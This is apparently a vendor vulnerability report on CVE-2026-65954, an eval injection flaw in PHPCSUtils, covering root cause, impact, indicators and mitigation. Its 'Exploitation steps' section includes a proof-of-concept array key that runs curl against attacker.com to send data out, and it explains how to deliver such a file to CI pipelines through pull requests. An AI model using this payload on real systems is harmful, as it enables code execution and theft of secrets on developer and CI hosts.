CVE-2026-65954: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-65954 is an eval injection vulnerability in PHPCSUtils that allows arbitrary code execution on the host running PHP_CodeSniffer (PHPCS). The flaw exists in PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey(), which uses PHP's eval() to determine array key values without sanitizing the input. It affects PHPCSUtils versions 1.0.0-alpha1 through 1.2.2 (Composer package phpcsstandards/phpcsutils). The vulnerability was privately disclosed by @rodrigoprimo, published on July 27, 2026, and formally added to the GitHub Advisory Database on September 29, 2026. It carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, PHPCSUtils Advisory).

Technical details

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). The getActualArrayKey() method constructs a string from PHP token content and passes it directly to eval('return ' . $content . ';') to resolve the runtime value of an array key, with no sanitization or sandboxing. An attacker can craft a PHP source file containing a malicious array key expression — for example, 'system'('id') => 'value' — which, when scanned by any sniff extending AbstractArrayDeclarationSniff and calling getActualArrayKey(), causes the eval() call to execute the embedded OS command. Known vulnerable code paths include the PHPCSExtra sniffs Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes; other packages calling the same method may also be affected. The fix in commit 9f596b5 wraps the eval() call in a try/catch block for both Throwable (PHP ≥ 7.0) and Exception (PHP < 7.0), causing the method to return null on any evaluation error rather than executing arbitrary code (GitHub Advisory, Fix Commit).

Impact

Successful exploitation results in arbitrary OS command execution with the privileges of the process running PHPCS on the scanning host — typically a CI/CD runner or a developer's local machine. All three security pillars are fully compromised: confidentiality (access to secrets, source code, environment variables), integrity (ability to modify files or inject code), and availability (ability to disrupt the host or pipeline). The scope change in the CVSS score reflects that the impact extends beyond the PHPCS process itself to the underlying operating system. Environments most at risk are automated CI pipelines that lint untrusted pull requests and developer workstations used to review third-party PHP code (GitHub Advisory, PHPCSUtils Advisory).

Exploitability

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability requires user interaction in the sense that a developer or CI system must actively scan the malicious PHP file, but no privileges are required on the part of the attacker — they only need to submit code that gets scanned (e.g., via a pull request). The attack complexity is low once a target pipeline or workflow is identified. No threat actor attribution or CISA KEV catalog listing has been reported. EPSS score data is not yet available for this CVE.

Exploitation steps

  1. Identify a target: Determine that the target CI pipeline or developer environment uses PHPCS with PHPCSUtils 1.0.0-alpha1 through 1.2.2 and has a ruleset that includes Universal.Arrays.DuplicateArrayKey or Universal.Arrays.MixedArrayKeyTypes (or any other sniff extending AbstractArrayDeclarationSniff and calling getActualArrayKey()).
  2. Craft a malicious PHP file: Create a PHP file containing an array with a key that embeds an OS command using PHP's variable function call syntax, for example:
<?php
$data = [
    'system'('curl http://attacker.com/exfil?data=$(whoami)') => 'value',
];
  1. Submit the file for scanning: Introduce the malicious PHP file into the target repository — for example, by opening a pull request that adds or modifies a PHP file containing the crafted array key.
  2. Trigger PHPCS scan: Wait for the CI pipeline to automatically run PHPCS on the pull request, or convince a developer to run PHPCS locally on the submitted code.
  3. Achieve code execution: When getActualArrayKey() processes the array key, it calls eval('return ' . $content . ';'), which executes the embedded OS command with the privileges of the PHPCS process (e.g., the CI runner user), enabling data exfiltration, reverse shell establishment, or further lateral movement within the CI environment (GitHub Advisory, PHPCSUtils Advisory).

Indicators of compromise

  • Process: Unexpected child processes spawned by the PHP process running PHPCS (e.g., sh, bash, curl, wget, python, nc) — particularly during a linting or code review step in a CI pipeline.
  • Network: Outbound connections from the CI runner or developer machine to unknown external hosts initiated during a PHPCS scan; DNS lookups or HTTP requests to attacker-controlled infrastructure originating from the scanner process.
  • Logs: CI pipeline logs showing unexpected output (e.g., command output such as user IDs, hostnames, or file listings) interleaved with PHPCS scan results; error messages or unexpected exit codes from PHPCS jobs.
  • File System: New or modified files (e.g., web shells, cron jobs, SSH authorized_keys entries, or downloaded payloads) created by the user account running PHPCS during or shortly after a scan of untrusted code.
  • Environment: Unexpected access to CI secrets, environment variables, or credential stores following a PHPCS scan of a pull request from an external contributor (GitHub Advisory).

Mitigation and workarounds

Primary remediation: Upgrade phpcsstandards/phpcsutils to version 1.2.3 or later via Composer (composer update phpcsstandards/phpcsutils). The fix wraps the eval() call in exception handling so that malicious expressions cause the method to return null rather than execute code (Fix Commit, GitHub Advisory).

Temporary workaround (if immediate upgrade is not possible): Disable the vulnerable sniffs in your PHPCS ruleset by adding exclusion rules for Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes (and any other sniffs calling getActualArrayKey()). Verify exclusions are active by running phpcs -e --standard=/path/to/ruleset.xml and confirming the sniffs no longer appear.

Operational controls: Avoid running PHPCS with vulnerable versions against untrusted PHP code, particularly in CI pipelines that automatically lint external pull requests.

Community reactions

The vulnerability was responsibly disclosed by @rodrigoprimo to the PHPCSUtils maintainers and fixed privately before public disclosure. The advisory credits @edorian as remediation reviewer and @jrfnl as remediation developer. The fix was included in the PHPCSUtils 1.2.3 release on July 27, 2026, with the advisory published to the GitHub Advisory Database on September 29, 2026. The release was announced on Mastodon (phpc.social/@phpcs) and Twitter/X (@PHP_CodeSniffer) (PHPCSUtils Advisory, Release PR).

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-55224HIGH8.7
  • PHP logoPHP
  • mineadmin/mineadmin
NoYesSep 30, 2026
CVE-2026-65954HIGH8.6
  • PHP logoPHP
  • composer://phpcsstandards/phpcsutils
NoYesSep 29, 2026
CVE-2026-103111HIGH7.6
  • MariaDB Server logoMariaDB Server
  • mariadb:11.8::mariadb-common
NoYesSep 30, 2026
GHSA-3q6v-r5mr-hxv8HIGH7.5
  • PHP logoPHP
  • league/commonmark
NoYesSep 30, 2026
GHSA-97jj-33gv-5xf9MEDIUM6.1
  • PHP logoPHP
  • league/commonmark
NoYesSep 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management